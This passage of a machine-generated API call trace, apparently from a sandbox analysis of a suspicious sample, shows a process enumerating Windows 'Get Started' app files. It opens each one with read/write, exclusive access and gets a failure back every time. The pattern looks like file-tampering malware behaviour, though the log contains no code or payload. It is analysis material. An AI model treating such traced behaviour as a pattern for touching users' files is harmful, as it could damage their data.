Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_altform-unplated_contrast-black.png") returned 1 [0273.849] GetProcessHeap () returned 0x630000 [0273.849] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d6c) returned 0x6fe3bb0 [0273.849] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-32_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.851] Sleep (dwMilliseconds=0x1) [0273.884] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_contrast-white.png", len=0x86 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_contrast-white.png") returned 1 [0273.884] GetProcessHeap () returned 0x630000 [0273.884] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d60) returned 0x6fe3bb0 [0273.884] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-30_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.886] Sleep (dwMilliseconds=0x1) [0273.897] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_contrast-black.png", len=0x86 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_contrast-black.png") returned 1 [0273.897] GetProcessHeap () returned 0x630000 [0273.897] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d5c) returned 0x6fe3bb0 [0273.897] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-30_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.899] Sleep (dwMilliseconds=0x1) [0273.913] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_altform-unplated.png", len=0x88 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_altform-unplated.png") returned 1 [0273.914] GetProcessHeap () returned 0x630000 [0273.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d50) returned 0x6fe3bb0 [0273.914] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-30_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.915] Sleep (dwMilliseconds=0x1) [0273.927] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30.png", len=0x77 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30.png") returned 1 [0273.927] GetProcessHeap () returned 0x630000 [0273.927] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d4c) returned 0x6fe3bb0 [0273.927] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-30.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.929] Sleep (dwMilliseconds=0x1) [0273.943] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_altform-unplated_contrast-white.png", len=0x98 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_altform-unplated_contrast-white.png") returned 1 [0273.944] GetProcessHeap () returned 0x630000 [0273.944] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d40) returned 0x6fe3bb0 [0273.944] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-256_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.944] Sleep (dwMilliseconds=0x1) [0273.960] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_altform-unplated.png", len=0x89 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_altform-unplated.png") returned 1 [0273.960] GetProcessHeap () returned 0x630000 [0273.960] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d38) returned 0x6fe3bb0 [0273.960] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-256_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.962] Sleep (dwMilliseconds=0x1) [0273.974] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256.png", len=0x78 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256.png") returned 1 [0273.974] GetProcessHeap () returned 0x630000 [0273.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d34) returned 0x6fe3bb0 [0273.974] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.975] Sleep (dwMilliseconds=0x1) [0273.991] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_altform-unplated_contrast-white.png") returned 1 [0273.992] GetProcessHeap () returned 0x630000 [0273.992] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d28) returned 0x6fe3bb0 [0273.992] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-24_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.992] Sleep (dwMilliseconds=0x1) [0274.007] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_altform-unplated.png", len=0x88 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_altform-unplated.png") returned 1 [0274.007] GetProcessHeap () returned 0x630000 [0274.007] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d20) returned 0x6fe3bb0 [0274.007] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-24_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.009] Sleep (dwMilliseconds=0x1) [0274.021] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24.png", len=0x77 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24.png") returned 1 [0274.021] GetProcessHeap () returned 0x630000 [0274.021] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d1c) returned 0x6fe3bb0 [0274.021] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.023] Sleep (dwMilliseconds=0x1) [0274.038] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_altform-unplated_contrast-white.png") returned 1 [0274.038] GetProcessHeap () returned 0x630000 [0274.038] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d10) returned 0x6fe3bb0 [0274.039] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-20_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.039] Sleep (dwMilliseconds=0x1) [0274.204] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_altform-unplated.png", len=0x88 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_altform-unplated.png") returned 1 [0274.204] GetProcessHeap () returned 0x630000 [0274.204] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d08) returned 0x6fe3bb0 [0274.204] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-20_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.205] Sleep (dwMilliseconds=0x1) [0274.208] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20.png", len=0x77 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20.png") returned 1 [0274.208] GetProcessHeap () returned 0x630000 [0274.208] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d04) returned 0x6fe3bb0 [0274.208] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.210] Sleep (dwMilliseconds=0x1) [0274.225] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_altform-unplated_contrast-white.png") returned 1 [0274.225] GetProcessHeap () returned 0x630000 [0274.225] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf8) returned 0x6fe3bb0 [0274.225] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-16_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.227] Sleep (dwMilliseconds=0x1) [0274.240] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_altform-unplated_contrast-black.png") returned 1 [0274.240] GetProcessHeap () returned 0x630000 [0274.240] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf4) returned 0x6fe3bb0 [0274.240] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-16_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.241] Sleep (dwMilliseconds=0x1) [0274.282] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100_contrast-white.png", len=0x82 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100_contrast-white.png") returned 1 [0274.282] GetProcessHeap () returned 0x630000 [0274.282] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce8) returned 0x6fe3bb0 [0274.282] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.284] Sleep (dwMilliseconds=0x1) [0274.290] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100_contrast-black.png", len=0x82 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100_contrast-black.png") returned 1 [0274.290] GetProcessHeap () returned 0x630000 [0274.290] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce4) returned 0x6fe3bb0 [0274.290] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.292] Sleep (dwMilliseconds=0x1) [0274.304] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", len=0x6b | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned 1 [0274.304] GetProcessHeap () returned 0x630000 [0274.304] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd8) returned 0x6fe3bb0 [0274.304] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.305] Sleep (dwMilliseconds=0x1) [0274.322] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", len=0x5d | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0274.322] GetProcessHeap () returned 0x630000 [0274.322] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd4) returned 0x6fe3bb0 [0274.322] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.327] Sleep (dwMilliseconds=0x1) [0274.333] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", len=0x75 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned 1 [0274.334] GetProcessHeap () returned 0x630000 [0274.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc8) returned 0x6fe3bb0 [0274.334] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.334] Sleep (dwMilliseconds=0x1) [0274.350] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri", len=0x6d | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri") returned 1 [0274.350] GetProcessHeap () returned 0x630000 [0274.350] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc0) returned 0x6fe3bb0 [0274.350] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.351] Sleep (dwMilliseconds=0x1) [0274.365] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-white.png", len=0x96 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-white.png") returned 1 [0274.365] GetProcessHeap () returned 0x630000 [0274.366] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cbc) returned 0x6fe3bb0 [0274.366] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedwidetile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.369] Sleep (dwMilliseconds=0x1) [0274.382] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-white.png", len=0x94 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-white.png") returned 1 [0274.382] GetProcessHeap () returned 0x630000 [0274.383] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb0) returned 0x6fe3bb0 [0274.383] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsplash.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 